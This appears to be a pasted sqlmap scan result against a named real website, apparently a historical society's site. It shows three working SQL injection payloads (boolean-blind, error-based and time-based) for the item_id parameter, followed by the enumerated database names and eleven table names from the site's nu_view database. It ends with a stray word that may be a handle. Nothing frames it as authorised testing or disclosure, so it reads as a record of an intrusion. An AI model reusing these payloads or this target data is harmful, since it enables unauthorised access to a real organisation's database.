www.masshist.org

---
Place: GET
Parameter: item_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: item_id=99 AND 1750=1750

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: item_id=99 AND (SELECT 9809 FROM(SELECT COUNT(*),CONCAT(CHAR(58,106,104,111,58),(SELECT (CASE WHEN (9809=9809) THEN 1 ELSE 0 END)),CHAR(58,108,107,108,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: item_id=99 AND SLEEP(5)
---

available databases [2]:
[*] information_schema
[*] nu_view

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: item_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: item_id=99 AND 1750=1750

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: item_id=99 AND (SELECT 9809 FROM(SELECT COUNT(*),CONCAT(CHAR(58,106,104,111,58),(SELECT (CASE WHEN (9809=9809) THEN 1 ELSE 0 END)),CHAR(58,108,107,108,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: item_id=99 AND SLEEP(5)
---

Database: nu_view
[11 tables]
+----------------------+
| categories           |
| category_assignments |
| images               |
| items                |
| owning_institutions  |
| project_assignments  |
| projects             |
| subject_assignments  |
| subjects             |
| transcriptions       |
| workflow             |
+----------------------+

sauzadeace